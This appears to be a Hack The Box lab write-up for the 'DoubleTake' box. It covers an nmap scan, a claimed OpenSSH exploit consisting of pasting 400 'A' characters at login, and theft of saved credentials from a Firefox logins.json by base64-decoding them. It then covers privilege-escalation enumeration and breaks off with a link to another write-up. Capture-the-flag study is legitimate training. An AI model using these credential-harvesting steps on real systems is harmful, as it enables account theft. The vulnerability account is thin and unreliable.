> For the complete documentation index, see [llms.txt](https://dontburntrees.gitbook.io/dontburntrees/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dontburntrees.gitbook.io/dontburntrees/hackthebox/easy/doubletake.md). Agents can also search and read this documentation through its [MCP server](https://dontburntrees.gitbook.io/dontburntrees/~gitbook/mcp).

# DoubleTake

## Recon

```
# Nmap 7.95 scan initiated Sun Nov 29 14:53:30 2026 as: nmap -p22,80 -A -oN scans_10.129.221.252/detailed.nmap 10.129.221.252
Nmap scan report for 10.129.221.252
Host is up (0.015s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.6 (protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-auth: 
| HTTP/1.1 401 UNAUTHORIZED\x0D
|_  Basic realm=Zentara
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 29 14:53:37 2026 -- 1 IP address (1 host up) scanned in 7.11 seconds
```

* I'm investigating the SSH version since the icone of the box is SSH, I found out that this version of OpenSSH seems to be vulnerable to CVE-2026-123158, it took me some time to understand the vulnerability and get a working user.

```
python3 -c "print('A'*400)" 
```

* Copy paste the output, initate a legitimate ssh connection as the user alpine, fail a first time, then paste the payload, we got a shell\ <br>

```
7f906e0ee8ec:~$ id
uid=1000(alpine) gid=1000(alpine) groups=1000(alpine)
7f906e0ee8ec:~$ ls -al
total 20
drwxr-sr-x    1 alpine   alpine        4096 Nov 29 14:32 .
drwxr-xr-x    1 root     root          4096 Nov 10 20:15 ..
-rw-------    1 alpine   alpine         120 Nov 29 14:40 .ash_history
drwxr-sr-x    3 alpine   alpine        4096 Nov 10 20:15 .mozilla
7f906e0ee8ec:~$
7f906e0ee8ec:~$ cd .mozilla/
7f906e0ee8ec:~/.mozilla$ ls
firefox
7f906e0ee8ec:~/.mozilla$ ls -alR
.:
total 12
drwxr-sr-x    3 alpine   alpine        4096 Nov 10 20:15 .
drwxr-sr-x    1 alpine   alpine        4096 Nov 29 14:32 ..
drwxr-sr-x    3 alpine   alpine        4096 Nov 10 20:15 firefox

./firefox:
total 16
drwxr-sr-x    3 alpine   alpine        4096 Nov 10 20:15 .
drwxr-sr-x    3 alpine   alpine        4096 Nov 10 20:15 ..
-rw-r--r--    1 alpine   alpine         102 Nov 10 20:15 profiles.ini
drwxr-sr-x    2 alpine   alpine        4096 Nov 10 20:15 zentara.default

./firefox/zentara.default:
total 88
drwxr-sr-x    2 alpine   alpine        4096 Nov 10 20:15 .
drwxr-sr-x    3 alpine   alpine        4096 Nov 10 20:15 ..
-rw-------    1 alpine   alpine       28672 Nov 10 20:15 cert9.db
-rw-------    1 alpine   alpine       36864 Nov 10 20:15 key4.db
-rw-r--r--    1 alpine   alpine         487 Nov 10 20:15 logins.json
-rw-------    1 alpine   alpine         456 Nov 10 20:15 pkcs11.txt
-rw-r--r--    1 alpine   alpine         182 Nov 10 20:15 prefs.js
-rw-r--r--    1 alpine   alpine           2 Nov 10 20:15 signedInUser.json
7f906e0ee8ec:~/.mozilla$ cat firefox/zentara.default/logins.json 
{"nextId":2,"logins":[{"id":1,"hostname":"http://172.17.0.1","httpRealm":"Zentara","formActionOrigin":null,"usernameField":"","passwordField":"","encryptedUsername":"Ym9i","encryptedPassword":"Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==","guid":"{a1b2c3d4-e5f6-7890-abcd-ef1234567890}","encType":0,"timeCreated":1730000000000,"timeLastUsed":1730900000000,"timePasswordChanged":1730000000000,"timesUsed":14}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}7f906e0ee8ec:~/.mozilla$ 
```

* From there I see the padding at the end of the password so I try to base64 decode the string and it works

```
$ echo Ym9i|base64 -d
bob
$ echo Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==|base64 -d
CorrectHorseBatteryStaple
```

* I tried to use su and sudo to directly switch user on the machine but it failed, let's terminate this SSH connection and start a new one with the following creds\
  bob:CorrectHorseBatteryStaple

```
7f906e0ee8ec:~$ ls -al
total 20
drwxr-sr-x    1 bob      bob           4096 Nov 29 14:48 .
drwxr-xr-x    1 root     root          4096 Nov 10 20:15 ..
-rw-------    1 bob      bob             24 Nov 29 14:49 .ash_history
-rw-r-----    1 root     bob             33 Nov 29 13:46 user.txt
7f906e0ee8ec:~$ cat .ash_history 
ls
cat user.txt 
ls -al
cat .ash_history 
7f906e0ee8ec:~$ sudo -l
-sh: sudo: not found
7f906e0ee8ec:~$ find / -perm 4000 2>/dev/null
7f906e0ee8ec:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
7f906e0ee8ec:~$ 
```

* I quickly enumerated quick wins but found nothing, let's get the linpeas.sh running on the target. I recommend the Filed Transfers module from HTB if you are struggling on importing files to a remote host.
* I got a few exploits for multiples CVEs, however I don't have python installed on the machine and I couldn't find an exploit not written in python...
* After a few more exploits I gave up on this LPE and decided to read a wu, my biggest mistake was to forget to zoom out from what I have done and enumerate the web attack surface. I used this following wu to finish the box: <https://s4l1.xyz/writeups/doubletake>
